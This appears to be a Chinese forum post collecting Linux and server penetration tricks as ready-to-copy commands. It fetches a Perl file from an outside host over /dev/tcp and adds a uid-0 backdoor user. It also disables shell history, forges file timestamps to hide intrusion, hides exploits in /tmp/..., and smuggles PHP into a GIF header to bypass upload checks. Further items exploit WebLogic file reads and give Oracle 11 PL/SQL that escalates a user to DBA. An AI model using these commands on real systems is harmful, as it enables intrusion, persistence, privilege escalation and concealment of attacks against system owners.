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linux常用渗透小技巧
1.无wget nc等下载工具时下载文件- exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.pl HTTP/1.0\n" >&5 && cat<&5 > c.pl
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复制代码 2.Linux添加uid为0的用户- useradd -o -u 0 cnbird
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复制代码 3.bash去掉history记录- export HISTSIZE=0
- export HISTFILE=/dev/null
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复制代码 4.SSH反向链接- ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip -p 指定远端服务器SSH端口
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复制代码 然后服务器上执行ssh localhost -p 44即可
5.weblogic本地读取文件漏洞- curl -H "wl_request_type: wl_xml_entity_request" -H "xml-registryname: ../../" -H "xml-entity-path: config.xml" http://server/wl_management_internal2/wl_management
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复制代码 6.apache查看虚拟web目录- ./httpd -t -D DUMP_VHOSTS
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复制代码 7.cvs渗透技巧- CVSROOT/passwd UNIX SHA1的密码文件
- CVSROOT/readers
- CVSROOT/writers
- CVS/Root
- CVS/Entries 更新的文件和目录内容
- CVS/Repository
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复制代码 8.Cpanel路径泄露- /3rdparty/squirrelmail/functions/plugin.php
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复制代码 9.修改上传文件时间戳(掩盖入侵痕迹)- touch -r 老文件时间戳 新文件时间戳
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复制代码 10.利用baidu和google搜索目标主机webshell
i11.包总补充
创建临时“隐藏”目录 mkdir /tmp/...
/tmp/...目录在管理员有宿醉的情况下是“隐藏”的,可以临时放点exp啥的
12.利用linux输出绕过gif限制的图片- printf "GIF89a\x01\x00\x01\x00<?php phpinfo();?>" > poc.php
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复制代码 13.读取环境变量对于查找信息非常有帮助14.最新的ORACLE 11提升用户权限(只要session权限)- DBMS_JVM_EXP_PERMS 中的IMPORT_JVM_PERMS
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复制代码 判断登陆权限- select * from session_privs;
- CREATE SESSION
- select * from session_roles;
- select TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY WHERE GRANTEE = 'GREMLIN(用户名)';
- DESC JAVA$POLICY$
- DECLARE
- POL DBMS_JVM_EXP.TEMP_JAVA_POLICY;
- CURSOR C1 IS SELECT 'GRANT' USER(), 'SYS', 'java.io.FilePermission', '<<ALL FILES>>', 'execute', 'ENABLE' FROM DUAL;
- BEGIN
- OPEN C1;
- FETCH C1 BULK COLLECT INTO POL;
- CLOSE C1;
- DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
- END;
- /
- connect / as sysdba
- COL TYPE_NAME FOR A30;
- COL NAME FOR A30;
- COL_ACTION FOR A10;
- SELECT TYPE_NAME, NAME, ACTION FROM SYS.DBA_JAVA_POLICY WHERE GRANTEE = '用户';
复制代码 connect 普通用户- set serveroutput on
- exec dbms_java.set_output(10000);
- SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID', 'oracle/aurora/rdbms/DbmsJava', 'SYS', 'writeOutputToFile', 'TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0, 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO 用户''; END;', 'BEGIN NULL; END;') FROM DUAL;
- EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOWS('NO_SUCH_SUBSCRIPTION', SYSDATE());
- set role dba;
- select * from session_privs;
- EXEC SYS.VULNPROC('FOO"||DBMS_JAVA.SET_OUTPUT_TO_SQL("ID","DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE""GRANT DBA TO PUBLIC"";DBMS_OUTPUT.PUT_LINE(:1);END;","TEXT")||"BAR');
- SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;
- SET ROLE DBA;
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复制代码 15. webLogic渗透技巧
四. Weblogin Script Tool(WLST)
写入到<Domain_home>\\config\\config.xml
1.进行修改:- <bea_home>\wlserver_10.0\server\bin\setWLSenv.sh
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复制代码 2.启动WLST- java weblogic.WLST
- wls:/offline> connect('admin', 'admin', 't3://127.0.0.1:7001')
- wls:/bbk/serverConfig> help()
- wls:/bbk/serverConfig> edit()
- wls:/bbk/serverConfig> cd('Servers')
- wls:/bbk/serverConfig/Server-cnbird> cd('Log')
- wls:/bbk/serverConfig/Server-cnbird/log> cd('Server-cnbird')
- wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird> startEdit()
- wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> set('FileCount', '4')
- wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> save()
- wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> activate() 提交对应Active Change
- wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird !> disconnect()
- wls:/offline> exit()
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复制代码 3.批处理:
保存以上命令为cnbird.py- connect('admin', 'admin', 't3://127.0.0.1:7001')
- cd('Servers')
- cd('Log')
- cd('Server-cnbird')
- startEdit()
- set('FileCount', '4')
- save()
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复制代码 然后执行java weblogic.WLST cnbird.py
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